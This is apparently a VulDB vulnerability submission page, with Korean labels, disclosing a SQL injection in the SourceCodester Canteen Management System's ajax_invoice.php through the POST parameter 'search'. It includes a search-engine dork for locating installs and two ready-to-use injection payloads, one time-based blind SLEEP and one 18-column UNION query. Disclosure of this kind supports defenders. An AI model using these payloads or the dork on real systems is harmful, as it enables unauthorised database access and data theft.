| 제목 | Canteen Management System ajax_invoice.php sql injection |
|---|
| 설명 | inurl:ajax_invoice.php
Abstract:
Line 12 of ajax_invoice.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
1. Data enters a program from an untrusted source.
2. The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in ajax_invoice.php at line 12.
payload:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=111' AND (SELECT 4223 FROM (SELECT(SLEEP(5)))ZSei) AND 'losz'='losz
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: search=111' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x6f77615353725145624672616a4f4470785372484f4259796d744a776a5a48665065644b46467451,0x716b716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| 원천 | ⚠️ https://www.jianshu.com/p/bda61089bf1d |
|---|
| 사용자 | sanc (UID 36508) |
|---|
| 제출 | 2022. 11. 30. AM 05:05 (4 연령 ago) |
|---|
| 모더레이션 | 2022. 11. 30. AM 06:45 (2 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 214523 [SourceCodester Canteen Management System POST Request ajax_invoice.php query 검색 SQL 주입] |
|---|
| 포인트들 | 20 |
|---|